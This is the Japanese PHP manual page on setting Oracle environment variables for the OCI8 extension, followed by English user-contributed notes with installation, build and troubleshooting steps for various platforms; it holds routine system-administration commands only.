PHP スクリプトで putenv() を使って Oracle の環境変数を 設定しないでください。それは、スクリプトが実行される前に Oracle のライブラリがロードされて 初期化されるかもしれないからです。 putenv() で変数を設定すると、コンフリクト、クラッシュ、 または予測出来ない動作の原因となるかもしれません。 ある関数は動作し、他の関数は捉えがたいエラーを示すかもしれません。 Web サーバー開始前に変数を設定するべきです。

Red Hat Linux と変種では、 /etc/sysconfig/httpd の最後で変数を export してください。 Apache 2 を伴う他のシステムでは Apache bin ディレクトリーで envvars スクリプトを使用するかもしれません。 ３番目のオプション、 httpd.conf の Apache SetEnv ディレクティブは、一部のシステムでは 動作するかもしれませんが、他のシステムでは不適切であることが知られています。

環境変数が正しく設定されたかチェックするには、 phpinfo() を使って Environment セクション (Apache Environment ではありません) に期待される変数が含まれるかどうかチェックしてください。

必要かもしれない変数が下記の表に含まれます。 どんな変数が使えるのかについての詳細は Oracle ドキュメントを参照してください。

一般的な Oracle 環境変数
名前 | 目的
ORACLE_HOME | フルの Oracle データベース・ソフトウェアのディレクトリを含みます。 Oracle Instant Client を使用する際は、これを設定しないでください。 設定することは余計なことで、インストール時に問題を引き起こすかもしれませんので。
ORACLE_SID | ローカルマシン上の、接続されるデータベース名を含みます。 Oracle Instant Client を使用するか、または oci_connect() に常に接続パラメータを渡す場合は、この設定は不要です。
LD_LIBRARY_PATH | この値(プラットフォームによっては、 LIBPATH や SHLIB_PATH の場合があります) を Oracle ライブラリが入っている場所に設定します。 たとえば $ORACLE_HOME/lib や /usr/lib/oracle/18.5/client/lib などです。 Linux 用の Instant Client 19 の ZIP ファイルについては、 ldconfig を代わりに使うことで、 さらに信頼性があがるよになっています。詳細は Instant Client の インストール手順書を参照して下さい。 Instant Client 19 (またはそれ以降) の RPM ファイルでは、 ldconfig が自動で実行されるようになっています。 ユーザーによっては、LD_LIBRARY_PATH のかわりに LD_PRELOAD を使うかもしれません。
NLS_LANG | これは Oracle ライブラリで使用される文字セットや 国際化情報を設定するためのプライマリ変数です。
ORA_SDTZ | Oracle セッションのタイムゾーンを設定します。
TNS_ADMIN | tnsnames.ora や sqlnet.ora のような Oracle Net Service の設定ファイルが置かれたディレクトリを指定します。 oci_connect() に指定する接続文字列が、 localhost/XE のような 簡易接続の名前付けの文法を使っている場合、この設定は不要です。 また、ネットワーク設定ファイルがデフォルトの位置に置かれている場合も不要です。 たとえば、 /usr/lib/oracle/VERSION/client/lib/network/admin, $ORACLE_HOME/network/admin, または /etc に置かれている場合です。
頻度は高くありませんが、 TWO_TASK 、 ORA_TZFILE 、及び NLS* や ORA_NLS_* 変数のような 様々な Oracle 国際化設定値を含む Oracle 環境変数が使用されます。

トラブルシューティング

OCI8 をインストールする際に最も一般的な問題は、 Oracle 環境が 正しく設定されないことです。通常、これは oci_connect() や oci_pconnect() 使用上の問題として現れます。 このエラーは Call to undefined function oci_connect() のような PHP エラーや、 ORA-12705 のような Oracle エラー、さらには Apache のクラッシュになるかもしれません。 この問題を解決するために、起動時のエラーについて Apache のログファイルをチェックして、 上記のセクションをご覧下さい。

ORA-12154 または ORA-12514 のようなネットワークエラーは Oracle のネットワーク・ネーミングまたは構成の問題を示唆する反面、 根本の原因は、 PHP 環境が誤って設定されたことや、 Oracle ライブラリが tnsnames.ora 構成ファイルの場所を指定できないためかもしれません。

Windows では、一つのマシン上に Oracle の複数のバージョンを持つと、 PHP が Oracle の正しいバージョンだけを使用することを確認するために注意を払わない限り、 すぐにライブラリのクラッシュを引き起こします。

特に Windows 上では、どのライブラリが検索されてロードされるか調べるユーティリティは、 欠けていたりクラッシュしているライブラリの問題の解決に役立ちます。

注意: Web サーバーが開始しないか、または起動時にクラッシュする場合

Apache が pthread ライブラリとリンクされていることをチェックします。

# ldd /www/apache/bin/httpd
  libpthread.so.0 => /lib/libpthread.so.0 (0x4001c000)
  libm.so.6 => /lib/libm.so.6 (0x4002f000)
  libcrypt.so.1 => /lib/libcrypt.so.1 (0x4004c000)
  libdl.so.2 => /lib/libdl.so.2 (0x4007a000)
  libc.so.6 => /lib/libc.so.6 (0x4007e000)
  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

libpthread が一覧に表示されなければ、 Apache を再インストールします。

# cd /usr/src/apache_1.3.xx
# make clean
# LIBS=-lpthread ./config.status
# make
# make install

UnixWare のような一部のシステムでは、それは libpthread の代わりに libthread であることに注意してください。 PHP 及び Apache を EXTRA_LIBS=-lthread とともに構成しなければいけません。

User Contributed Notes

semenov dot v at gmail dot com 17-Jun-2019 05:36
CentOS 7 PECL with oci8-2

After documented installation stucks

$ yum install systemtap-sdt-devel
$ export ORACLE_HOME=/usr/include/oracle/XX.X/client64
$ LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib; export $ LD_LIBRARY_PATH
$ export PHP_DTRACE=yes
$ C_INCLUDE_PATH=/usr/include/oracle/XX.X/client64 pecl install oci8
[autodetect]
$ echo extension=oci8.so > /etc/php.d/instantclient.ini
$ systemctl reload https
wingjeeplau at gmail dot com 03-Jul-2013 11:38
In Ubuntu the setting is in file /etc/apache2/envvars
Sergey 03-Oct-2012 08:31
Lost a day on trying to make work oci8 & pdo_oci extensions in php-fpm 5.3 on OpenSuSE 12.2 (64bit) with latest oracle instant client 11.2.0.3.0.
Any of two works normally with generic instructions. But both extensions caused crash in oci_connect().

Solution was simple add ORACLE_HOME variable BEFORE running php-fpm.

/etc/profile.d/oracle.sh
#!/bin/bash
ORACLE_HOME=/usr/lib/oracle/11.2/client64
LD_LIBRARY_PATH=$ORACLE_HOME/lib
NLS_LANG=american_america.utf8
export ORACLE_HOME LD_LIBRARY_PATH NLS_LANG

/etc/init.d/php-fpm
.....
. /etc/rc.status
. /etc/profile.d/oracle.sh # add this after rc.status (note: dot & space)
.....

After "service php-fpm restart" works normally. Hope this helps.
Saxon Leung 21-Feb-2012 09:12
Spending long time in researching how to install this on a freshly installed [Red Hat-based (RHEL, CentOS, Fedora)] Linux, and finally I come to this:

1) Download & install

#yum install oracle-instantclient-basic
#yum install oracle-instantclient-devel

or

Download:
oci8-1.4.7.tgz
oracle-instantclient11.2-basic-11.2.0.3.0-1.x86_64.rpm
oracle-instantclient11.2-devel-11.2.0.3.0-1.x86_64.rpm

#rpm -i oracle-instantclient11.2-basic-11.2.0.3.0-1.x86_64.rpm
#rpm -i oracle-instantclient11.2-devel-11.2.0.3.0-1.x86_64.rpm

2) Check PHP version:

#rpm -qa | grep php

It should looks sth like this:
php-devel-5.3.10-1.w5
php-pdo-5.3.10-1.w5
php-ldap-5.3.10-1.w5
php-cli-5.3.10-1.w5
php-mysql-5.3.10-1.w5
php-5.3.10-1.w5
php-common-5.3.10-1.w5

3) Update if needed by:

#yum --enablerepo=webtatic update php

** Make sure you have php-devel installed before updating to a newer version, or you might have problem to add package back. If it happened, you\\'ll have to reinstall all php packages (sadly I did):

#yum remove php-common
#yum --enablerepo=webtatic install php

4) Remember to install a C compiler for installation use:
#yum install gcc

5) Unzip oci8-1.4.7.tgz:
#tar xvzf oci8-1.4.7

6) Run phpize (php-devel required):
# phpize

7) Setup Config:
# ./configure --with-oci8=shared,instantclient,/usr/lib/oracle/11.2/client64/lib

8) Add a sym-link to the SDK header files (Comes with the instantclient-devel)

#ln -s /usr/include/oracle/11.2/client64/ /usr/lib/oracle/11.2/client64/lib/include

** The installation defaults to use 1 dir path only, so the missing SDK files need to add back to that directory, by adding a sym-link \\"include\\" under the lib folder.

9) Compile and install:
#make all install

[Please note that I'm installing on a 64-bit platform so links are pointing at client64 instead of client]
modir at huanga dot com 23-May-2011 03:02
For those of you who would like to install this extension on an RedHat/CentOS server. It is actually pretty simple.

Here is what you have to do:
1) Download the following RPM from Oracle: oracle-instantclient11.2-basiclite-11.2.0.2.0.x86_64.rpm (Version number can be newer and check if you need the 64bit version or not). And then install it on the server.

2) yum install php-oci8

3) And as the last step you edit /etc/sysconfig/httpd and write the following line at the end: export LD_LIBRARY_PATH=/usr/lib/oracle/11.2/client64/lib/ (Attention: Path changes depending on the version you have downloaded from the Oracle website.)
beer at myplace dot now 03-Aug-2009 10:24
I was experiencing issues with Unicode characters being saved incorrectly to my ORA 10 DB. Issue was tracked to not having a NLS_LANG environment variable specified - set this correctly in the Apache environment and the issue was resolved.
benstendahl at hotmail dot com 13-Jul-2009 11:46
When using PHP on an IIS server (Windows Server 2000+):

After installing the Oracle Instant Client and adding it to the "PATH" Environment Variable, be sure that you also add "Read & Execute" privileges to the Oracle Instant Client directory for the IIS user designated for the site.  This is especially necessary if IIS has been hardened using the IIS Lockdown tool (http://technet.microsoft.com/en-us/library/dd450372(WS.10).aspx) as users must be explicitly granted permissions from the web.
nicodenboer (at) yahoo (dot) com 22-Nov-2008 09:35
Hi, I use Oracle Database 10g Express Edition Release
10.2.0.1.0 on a Linux workstation for dev purposes, along
with Apache 2 and PHP5. So far I have used it on Kubuntu 8.04.
To get things working on a recently installed notebook with openSUSE
11.0 was a bit more complicated. So I hope someone will be able to
benefit from our experiences. Here is our howto:

# Use the package manager to install the packages php5-pear and
php5-dev, if not installed yet.

# Download the instantclient_11_1, zip files basic, sdk, sqlplus from the Oracle web site

# Switch to user root here, since not all commands to some work sudo

# Unzip these files to /opt/oracle/.
# As a result you will see a dir instantclient_11_1 appearing.

ln -s /opt/oracle/instantclient_11_1/libclntsh.so.11.1 \
   /opt/oracle/instantclient_11_1/libclntsh.so
ln -s /opt/oracle/instantclient_11_1/libclntsh.so.11.1 \
   /usr/lib/libclntsh.so
ln -s /opt/oracle/instantclient_11_1/libnnz11.so \
   /usr/lib/libnnz11.so
ldconfig # to make sure the system will be able to find the libs

pecl install oci8 # interactively enter option 1,
# then instantclient,/opt/oracle/instantclient_11_1,
# then enter

# if needed, add extension=oci8.so to your php.ini

/etc/init.d/apache2 reload

# finished!

Kind regards,
Nico den Boer
alvaro at demogracia dot com 10-Jun-2008 04:24
If you've followed the instructions and you can't even connect to the DB server, welcome to the Oracle hell. Most of the information you'll find is deprecated, incomplete, not for your platform, unnecessary or just plain wrong.

Typically, you won't need at all those complicate setups you'll read about and they'll probably make things harder. I suggest you get Systernal's "Filemon" utility (for Windows, in Unix you may do with strace) and find out what exact config files and DLLs are being tried by php.exe (or httpd.exe if PHP runs as Apache module or...). Pretty often, the issue is that (e.g.) TNSNAMES.ORA does not have the correct line ending or Apache is looking for a DLL that does not even exist in your hard disc; learning that prevents you to waste time adding more and more useless environmental variables.

Goog luck.
mike at macgirvin.com 20-May-2008 06:05
Some notes to save somebody some grief:

Installing the Oracle libraries and access module into an existing PHP5 installation on Debian etch without rebuilding php...

First grab the Linux instantclient from oracle.com - you'll also need the client SDK kit. Here I'm using instantclient 11.1

create a directory for these such as /home/oracle and unpack both of them to that directory.

Go into the oracle directory (and into the instantclient_11_1 directory) and create a symlink:

$ ln -s libclntsh.so.11.1 libclntsh.so

Grab the oci8 PECL package and unpack it somewhere (~/oci).

Make sure you have the following packages (in addition to php5, php5-cli, apache2, etc).

  php5-dev

  libaio1

  php-pear

Go to the oci8 directory (~/oci/).

You need to run 'pecl build' once to create the configure script.

$pecl build

But the problem is that pecl build will claim the files are installed and they are not. I wasted half a day on this one. Now go into the oci8-1.3.0 directory and build again by hand:

$ cd oci8-1.3.0

$ ./configure --with-oci8=instantclient,/home/oracle/instantclient_11_1

$ make

Fix any errors/warnings before continuing

Don't make install, which won't work.

$ cp ./modules/oci8.so /usr/lib/php5/20060613+lfs

Replace 20060613+lfs with whatever module directory has been setup for you in /usr/lib/php5

Create /etc/php5/conf.d/oci8.ini:

----

extension=oci8.so

----

Now run the php cmdline in verbose mode (php -v) and see if everything loaded. Fix it if it didn't.

You may need some env variables setup in your /etc/init.d/apache2 file to make everything work and actually execute queries, but a phpinfo() at this point should show your oci8 extension. See the php.net Oracle pages if you need help with the env variables.

Restart the web server

$ /etc/init.d/apache2 restart
david dot reynoldsat at ipl dot com 10-Apr-2007 07:56
I had a problem loading php_oci8.dll with php 5.2, Apache, and windows XP - a module not loaded error, on every apache restart.
I eventually found that I had to add the oracle instantclient library path to the %PATH% under SYSTEM and not under USER.  Doing that, and then rebooting, fixed the error - as Apache is starting as a service (outside the user setup).
jay dot couture at gmail dot com 06-Dec-2006 03:26
# Here's what it took to get it going for me on Red Hat on
# x86_32 w/ 10gr2 and php5.1.2
# I sincerely appreciate all of the other poster's notes.
# It was a combination of a few
# of them to get mine configured. My note should reflect this:

# install the instantclient basic and sdk like this
# note: the original poster had you install into a lib subdirectory,
# but when I tried this it couldn't find the sdk files. So I moved
# the files in lib into the parent directory as
# shown below. Actually I copied them, YMMV
mkdir -p /usr/lib/oracle/10.2.0.2/client
unzip -jd /usr/lib/oracle/10.2.0.2/client
    instantclient-basic-linux-x86-32-10.2.0.2-20060331.zip
mkdir -p /usr/include/oracle/10.2.0.2/client
unzip -jd /usr/lib/oracle/10.2.0.2/client
    instantclient-sdk-linux-x86-32-10.2.0.2-20060331.zip
ln -s /usr/lib/oracle/10.2.0.2/client/libclntsh.so.10.1
    /usr/lib/oracle/10.2.0.2/client/libclntsh.so

# make the full client use instantclient's files
cd /app/oracle/product/10.2.0/db_1
mv lib oldlib
ln -s /usr/lib/oracle/10.2.0.2/client/lib lib
ln -s /usr/include/oracle/10.2.0.2/client include

#php configure line is:
    ./configure --with-oci8=instantclient,/usr/lib/oracle/10.2.0.2/client

# I had to do this, or the OCI8 would not compile when
# I ran make on PHP5.1.2 I did not do this originally when I
# had the files in the lib sudirectory (see my note above) so
# that may be the true issue.
export LD_LIBRARY_PATH=/usr/lib/oracle/10.2.0.2/client:$LD_LIBRARY_PATH

make

make install

#In apache2 edit the envvars and add
LD_LIBRARY_PATH="/usr/local/apache2/lib:
    /usr/lib/oracle/10.2.0.2/client:$LD_LIBRARY_PATH"
TNS_ADMIN="/usr/lib/oracle/10.2.0.2/client"
LANG=en_US
export LD_LIBRARY_PATH LANG TNS_ADMIN

#Restart Apache

Jay
rainer dot klier at gmx dot at 22-May-2006 02:08
estoreic (note from 15-May-2006 10:54) is right.

there seems to be a problem with the oci8-api-functions in php 4.4.x.

there are error-messages like these in the error_log:
child pid 22297 exit signal Segmentation fault (11)
*** glibc detected *** double free or corruption (out): 0x00000000019f4730 ***
*** glibc detected *** double free or corruption (!prev): 0x0000000001111d90 ***
*** glibc detected *** corrupted double-linked list: 0x0000000001111d50 ***

using php 4.4.x with oracle 10.x is impossible, until you do the following:
1. download latest oci8-package from http://pecl.php.net/package/oci8
2. extract package somewhere
3. go to php-4.4.x-source directory
4. rm -rf ext/oci8
5. cp extraceted oci8-1.2.x directory to/as ext/oci8
6. make distclean
7. ./buildconf --force
8. ./.configure (with the options you need)
9. make
10. only for x86_64:
create pear-install.ini:
-----------------------------------------------
[PHP]

memory_limit = 128M      ; Maximum amount of memory a script may consume (8MB)
------------------------------------------------

11. edit Makefile:
replace:
PEAR_INSTALL_FLAGS = -n -dshort_open_tag=0 -dsafe_mode=0
with:
PEAR_INSTALL_FLAGS = -cpear-install.ini -dshort_open_tag=0 -dsafe_mode=0

12. make install

have fun!
oracle connections will work now!
f dot kheiri at ucl dot ac dot uk 29-Apr-2006 07:40
To compile PHP 4.4.2 with OCI8 / Oracle 9i / AIX 5.2 (64-bit) / GCC

PHP will automatically compile against the Oracle 64-bit libraries, which PHP being a 32-bit app, will cause "make" to fail (though it will configure fine). Here's how to avoid this:

1. replace your PHP's ext/oci8 directory with the latest ext/oci8 directory downloadable from PECL - then remove the old directory entirely

2. rebuild configure by running:

./buildconf --force

...in PHP's root directory. This will rebuild the configure script.

3. using a tool like sed, in your configure file replace all instances of /path/to/oracle/lib with /path/to/oracle/lib32 - note, this may require GNU's autoconf, m4 and gnumake.

4. export LD_LIBRARY_PATH=/path/to/oracle/lib32

5. ./configure --with-oci-8=/path/to/oracle (and any other options)

Then, the usual make and make install.
25-Apr-2006 03:29
# here's what it took to get it going for me on rhel4 on x86_64 w/ 10gr2 and php5.0.5
# hopefully this will save someone a little grief
# first you must install the 10.2 full client in /app/oracle/product/10.2.0/db_1
# follow all the instructions. This part will be a bitch.

# install the instantclient basic and sdk like this
mkdir -p /usr/lib/oracle/10.2.0.2/client/lib
unzip -jd /usr/lib/oracle/10.2.0.2/client/lib instantclient-basic-linux-x86-64-10.2.0.2-20060228.zip
mkdir -p /usr/include/oracle/10.2.0.2/client
unzip -jd /usr/lib/oracle/10.2.0.2/client instantclient-sdk-linux-x86-64-10.2.0.2-20060228.zip
ln -s /usr/lib/oracle/10.2.0.2/client/lib/libclntsh.so.10.1 /usr/lib/oracle/10.2.0.2/client/lib/libclntsh.so

# make the full client use instantclient's files
cd /app/oracle/product/10.2.0/db_1
mv lib oldlib
ln -s /usr/lib/oracle/10.2.0.2/client/lib lib
ln -s /usr/include/oracle/10.2.0.2/client include

php configure line is: --with-oci8=/app/oracle/product/10.2.0/db_1/
scoop at subindie dot com 26-Oct-2005 01:27
Regarding compiling with the recently updated OCI8 Extension (http://pecl.php.net/package/oci8).

I ran into problems when statically compiling, such as numerous "undefined reference to `zif_oci_***'" errors.  Since I likely won't be the only one to run into this problem, here's some helpful hints:

If you've previously compiled your php installation, first: make clean

Then replace the existing php-x.x.x/ext/oci8 directory with the latest package from: http://pecl.php.net/package/oci8

./buildconf --force
./config ..
make
ben at onshop dot co dot uk 06-Jul-2005 08:51
I spent ages trying work out why I was getting the following message when when using ocilogon() on Windows 2000 using PHP 4 and 5:

ORA-03106 Fatal two-task communication protocol error

This problem is occurs when PHP cannot find ORACLE client environmental variables.

The environmental variables can be set in several ways:

1. Within the root 'Directory' directive on Apache httpd.conf:

<Directory "d:/path/to/webroot">
  SetEnv ORACLE_BASE "c:/oracle"
  SetEnv ORACLE_HOME "c:/oracle/ora81"
  SetEnv NLS_LANG "american_america.WE8DEC"
  SetEnv NLS_CHARACTERSET "WE8DEC"
  SetEnv NLS_NCHAR_CHARACTERSET "AL16UTF16"
</Directory>

or

2. Within Windows:

Go to the Control Panel>System>Advanced>Environmental Variables

Then enter a name value/pair for each of the variables.

3. Using putenv() statements in the PHP file prior to using ocilogon(). This is not ideal because the statements are required evertime you wish to connect to Oracle.
denis dot delamarre at chu-rennes dot fr 09-Jun-2005 10:00
php5 + Apache 2 + solaris 2.10 + oracle9i (64bits)

'./configure' '--with-oracle=/prod/dba/oraeve/ora9i' '--with-apxs2=/usr/local/apache2/bin/apxs' '--with-zlib' '--with-gd' '--without-mysql' '--with-oci8=/prod/dba/oraeve/ora9i'

fail with :
ld: fatal : fichier libclntsh.so : wrong elf class : ELFCLASS64

the solution is between ./configure and make command to edit Makefile and replace /ora9i/lib  with  /ora9i/lib32

all it's ok
MSapp 06-Jun-2005 06:48
Problems compiling 5.0.4 with Oracle Instant Client 10? (i.e. cannot find -lirc)

Remove the "-lirc" from sdk/demo/sysliblist and rerun configure.
kucerar at hhmi dot org 23-Feb-2005 08:29
Great Solaris patch!  Finally built.  Here's some tips on connecting:

Just made this on solaris8 32bit, actually works.

1) put everything in one directory
2) unsetenv ORACLE_HOME
3) set the env vars LD_LIBRARY_PATH and SQLPATH and TNS_ADMIN(if you have it) to that directory.
4) use one of the other easy connection notations here

http://www.oracle.com/technology/
docs/tech/sql_plus/10102/readme_ic.htm

These env vars worked when put at the top of apachectl script as well.

To build you may have to fake it out with an ORACLE_HOME var,  but unset it later.  You may also have to fake out the build by putting header files where it is looking for them,  e.g. in the rdbms/demo directory or some such other place.

When running though,  make sure you have only the files required in only one directory.

Oracle has not put up a link to the 32bit solaris sqlplus--you have to guess it--it's there though:

http://download.oracle.com/otn/solaris/instantclient/
instantclient-sqlplus-solaris32-10.1.0.3.zip

...and don't forget to add ".world" on to the end of your SID. It's very common to have to specify DBNAME.WORLD to connect.
neogodo at yahoo dot com dot br 06-Aug-2004 06:15
Hey guys!!!!

 I have all these problems and when are solved a php show this:

_oci_server ORA-12159:connection text especified is too long

It's simple!!!

  In the TNSNAMES.ORA remove all space, tab, carriage return on the conection string and, wallah!!! All work fine!!!

  More info:

   PHP 5.0.0  with Oci8
   Apache 1.3

Regards,
Romolo (neogodo@yahoo.com.br).
DBA Oracle
Brazil - SP - Sao Paulo
mark at magpies dot net 05-Jul-2004 09:07
For those trying to use the Oracle Instant Client 10g in a win32 environment, heres a nice easy howto. If you fully read the docs properly and understand what your reading you will be able to set it up, but if like me you want a quick easy fix, heres how I did it.

1. Download and install the Oracle Instant Client to where ever (lets say  c:\ora\client  )
2. Add your connect info, copy a previously created or provided tnsnames.ora file to the above directory.
3. Change Path in the Environment Variables area to add this directory to the path. ie.  c:\ora\client;%SystemRoot%;<and so on>
4. Open regedit and add a Key called ORACLE to HKEY_LOCAL_MACHINE\SOFTWARE
5. To the ORACLE key add a string value called TNS_ADMIN and assign it the directory above (ie. c:\ora\client )  So you end up with KEY_LOCAL_MACHINE\SOFTWARE\ORACLE\TNS_ADMIN = c:\ora\client
6. Set php to use Oci8 extension and bobs your uncle
7. Reboot.

Option 7 was required as the oci8 extension or php wouldn't pick up the path change. Also my problem was how to use other programs like sqlplus without creating extra Environment Variables etc the TNS_ADMIN / tnsnames.ora part makes that simpler and allows you to call things the same as you would before.

PS: This should apply to all the Instant Clients. I haven't tried it with any others but 10g though.

Hope this helps.
ed000001 at hotmail dot com 01-Jul-2004 03:04
If you get your connectivity working with putenv on ORACLE_SID and ORACLE_HOME, but you do not want to use putenv because you want safemode on. You will need to pass these from your environment variables.  Somehow setenv in httpd.conf did not do the trick for me... the values are set but the connectivity does not work.  Then you will need to set the environment in your /etc/init.d/apachectl or /etc/profile and use a "PassEnv ORACLE_HOME ORACLE_SID" directive in httpd.conf so that these variables are picked up by php.

However, when you suexec in Apache 2.0, the server will only allow you to pass a given set of variables which are defined in the apache source code in the file apache-dir/support/suexec.c

In order to pass ORACLE_SID and ORACLE_HOME to PHP you need to add these to that file.  The relevant changed piece of code where I added "ORACLE_" looks something like this:

char *safe_env_lst[] =
{
    /* variable name starts with */
    "HTTP_",
    "SSL_",
    "ORACLE_",

    /* variable name is */
...

You will have to do a "make clean", "./configure", "make", "make install".  Do not forget to do the "make clean" or the apache changes will not be picked up.

Here is a nice php test script :)

<?php // test-oracle.php

    function dump_array($a_value)
    {
        reset($a_value);
        for ( $s_str = '' ; list($s_key, $x_value) = each($a_value) ;  )
        {
            $s_str .= "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".
                      "<span style=\"color:green\">[</span>$s_key<span style=\"color:green\">]</span> = ".
                      "<span style=\"color:red\">[</span>$x_value<span style=\"color:red\">]</span><br />";
        }
        reset($a_value);
        echo $s_str;
    }

#putenv("ORACLE_SID=ORTD");
#putenv("ORACLE_HOME=/u01/app/oracle/product/9.2.0.1.0");
$ORACLE_SID = getenv("ORACLE_SID");
$ORACLE_HOME = getenv("ORACLE_HOME");
echo "ORACLE_SID = $ORACLE_SID<br>";
echo "ORACLE_HOME = $ORACLE_HOME<br>";

    $cn = ociplogon('scott', 'tiger');
echo "cn = $cn<br />\n";
    $st = ociparse($cn, "select tname from tab");
echo "st = $st<br />\n";
    $ex = ociexecute($st,OCI_COMMIT_ON_SUCCESS);
echo "ex = $ex<br />\n";
    $mr = ocifetchinto($st,$xx,OCI_ASSOC);
    while ( $mr )
    {
        dump_array($xx);
        $mr = ocifetchinto($st,$xx,OCI_ASSOC);
    }
    $fr = ocifreestatement($st);
echo "fr = $fr<br />";
    ocicommit($cn);
    ocilogoff($cn);
?>
oddbec_no_more_spam_kthx at online dot no 24-Feb-2004 08:49
I had trouble with norwegian characters using oracle 8.7.1 / php 4something and Apache 2.

The only trouble was that '?' appeared instead of the norwegian characters.

The solution to it all was to add this to the apachectl script:

export NLS_LANG="norwegian_norway.WE8ISO8859P1"
export ORACLE_BASE="/home/oracle"
export ORA_NLS33="/home/oracle/ocommon/nls/admin/data"
export ORACLE_TERM="ansi"
export ORACLE_HOME="/home/oracle"
export LANG="no_NO"

I'm not sure if all of these are necessary, but I took no change, and it works now :)
aleigh at tessier dot com 16-Nov-2003 03:16
Warning: ocilogon(): _oci_open_session: OCIHandleAlloc OCI_HTYPE_SVCCTX: OCI_INVALID_HANDLE can also be caused by running the webserver with an ORACLE_HOME of a (radically?) different version than PHP was linked against.

I experienced this when I accidently used an Oracle 8 ORACLE_HOME for a PHP that was linked against Oracle 9.
aliquis at die dot spammers dot die dot link-net dot org 23-Oct-2003 06:39
I've had all kinds of errors with RedHat9(yuck), PHP 4.3.4RC1 and Oracle enterprice server 9.2. For some time I thought that --with-oci8 wouldn't work with Oracle9 but that wasn't the case, the solution was many steps.

1) install oracle, might require some tricks, on RedHat9 I had to put this in my .bashrc:
export ORACLE_BASE=/opt/ora9
export ORACLE_HOME=$ORACLE_BASE/product/9.2
export PATH=$ORACLE_HOME/bin:$PATH
export ORACLE_OWNER=oracle
export ORACLE_SID=netadmdb
export ORACLE_TERM=vt100
export LD_ASSUME_KERNEL=2.4.1
export THREADS_FLAG=native
export LD_LIBRARY_PATH=$ORACLE_BASE/product/9.2/lib:$LD_LIBRARY_PATH

2) compile php, use --with-oci8

3) Make an init-script for the oracle9 database server, as default the TNS listener doesn't run so add that on aswell, example:
#!/bin/bash
export ORACLE_HOME=/opt/ora9/product/9.2
export PATH=$ORACLE_HOME/bin:$PATH
export ORACLE_SID=netadmdb
export DISPLAY=:0
oracle_user=oracle
export oracle_user
case $1 in
start)
su - "$oracle_user"<<EOO
sqlplus /nolog<<EOS
connect / as sysdba
startup
EOS
/opt/ora9/product/9.2/bin/lsnrctl start
EOO
;;
stop)
su - "$oracle_user"<<EOO
/opt/ora9/product/9.2/bin/lsnrctl stop
sqlplus /nolog<<EOS
connect / as sysdba
shutdown immediate
EOS
EOO
;;
*)
echo "Usage: ora9 [start|stop]"
;;
esac

4) Configure Apache. For some reason it requires some tweaking with environment variables, in the begining I put those in the PHP-script with putenv, later in the httpd.conf with SetEnv and the mod_env module. But I was told to not do that and instead set them in the init script for Apache. So I copied apachectl to /etc/init.d and edited envvars in $APACHE_PATH/bin. First I added all kinds of env variables until I got it to work, and then I removed them one at a time and came to the following minimal configuration:
LD_LIBRARY_PATH="/usr/local/apache2/lib:$LD_LIBRARY_PATH"
ORACLE_HOME=/opt/ora9/product/9.2
LANG=sv_SE
export LD_LIBRARY_PATH ORACLE_HOME LANG

Earlier I had added NLS_LANG and TNS_ADMIN above those mentioned above (point 1), but it seems those aren't needed really. So no need for TWO_TASK or ORACLE_SID, only needed one is ORACLE_HOME and if you get missing/invalid option for your OCILogon set LANG to something else like I did. Someone earlier said it might have to do with UTF8.

So if you are sure lsncrtl are started and that you have the correct env-variables set in your $APACHE_PATH/bin/envvars you can just use something like:

$iDBConn=OCILogon("user","pass","netadmdb");

in your PHP-script and it should work.
Hope this helps someone.
NOSPAMPLZ!esartoni at omniaglobal dot net 27-May-2003 03:12
I had a little problem with ocilogon but only with RedHat 8.0. It always returned some kind of error during connection like 'OCISessionBegin - ... invalid character', or 'OCISessionBegin - ... missing or invalid option in ...'

I have finally found what is this problem! You have to change your LANG enviroment variable disabling UTF-8. Example: LANG=en_US.UTF-8 should become LANG=en_US.
lore_giver at lycos dot co dot uk 20-May-2003 11:42
Running Oracle 9i on a
Solaris 9 (64 bit) platform with a Sun Server E250:
Apache version 1.3.27
PHP version 4.3.1

I was first getting "...wrong ELF class: ELFCLASS64.."
while doing a ./configure with the --with-oci8 and --with-oracle parameters.

After some unsuccessfull searched I renamed the $ORACLE_HOME/lib to $ORACLE_HOME/lib.org and then renamed the
$ORACLE_HOME/lib32 to $ORACLE_HOME/lib

Thereafter it went passed this config, but now failed on
not being able to find a libwtc9.so file which was in the
$ORACLE_HOME/lib directory  (this message was displayed in the debug.log in the php source directory).

After setting the Environment variable:
LD_LIBRARY_PATH=$ORACLE_HOME/lib
I was able to compile without any errors and 'make' and 'make install' ran smoothly.

I only had to add the php type in the httpd.conf (in your apache conf directory eg. /usr/local/apache/conf)..
AddType application/x-httpd-php .php
to get the php to work again...

I had to then reverse the $ORACLE_HOME/lib swop on top since php was now having problems with the 32 bit version of the library...so switched it back to 64 and my php script worked....

Hope this helps some out there with similar problems..

Cheers
09-Dec-2002 01:53
Configuring/Compiling PHP as a DSO with Oracle support from source on a Sun Solaris 8 box.  We had already installed Oracle 9.2.0 client tools.

1. Make sure the following tools are installed

    autoconf
    automake
    bison
    flex
    gcc
    make
    gzip

    They can be downloaded from http://www.sunfreeware.com.

2.  Make sure Apache is installed with DSO support.  We ran the Apache configure/compile like so:

    LIBS=-lpthread ./configure \
    --prefix=/usr/local/apache \
    --enable-module=most \
    --enable-shared=max

    make
    make install

3.  If you haven't already, install the Oracle client tools.
4.  Make sure the following environment variables are set correctly and are accessible by all users.  We set them in /etc/profile.

    ORACLE_HOME
    ORACLE_BASE
    NLS_LANG
    ORA_NLS33
    ORACLE_TERM
    LD_LIBRARY_PATH

    (technically, only $ORACLE_HOME is required, but you'll want to set the rest in order to make sure things run smoothly afterward)

5.  Make sure '/usr/ccs/bin' is in your path.  If not, add it.
6.  Unpack PHP source (php-4.2.3):

    gunzip php-4.2.3.tar.gz
    tar xvf php-4.2.3.tar
    cd php-4.2.3

7.  Run PHP configure like so :

    CC=gcc ./configure --with-apxs=/usr/local/apache/bin/apxs \
    --with-config-file-path=/etc \
    --with-mysql \
    --enable-ftp \
    --with-oci8=/path/to/ORACLE_HOME \
    --with-oracle=/path/to/ORACLE_HOME \
    --enable-sigchild

8.  Run make:  make
9.  Run this as root:  make install
10.  Change the LoadModule line in httpd.conf to include the fully qualified path.  For us:

    LoadModule php4_module        /usr/local/apache/libexec/libphp4.so

11.  Make sure the PHP files types are recognized in your httpd.conf file:

    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps

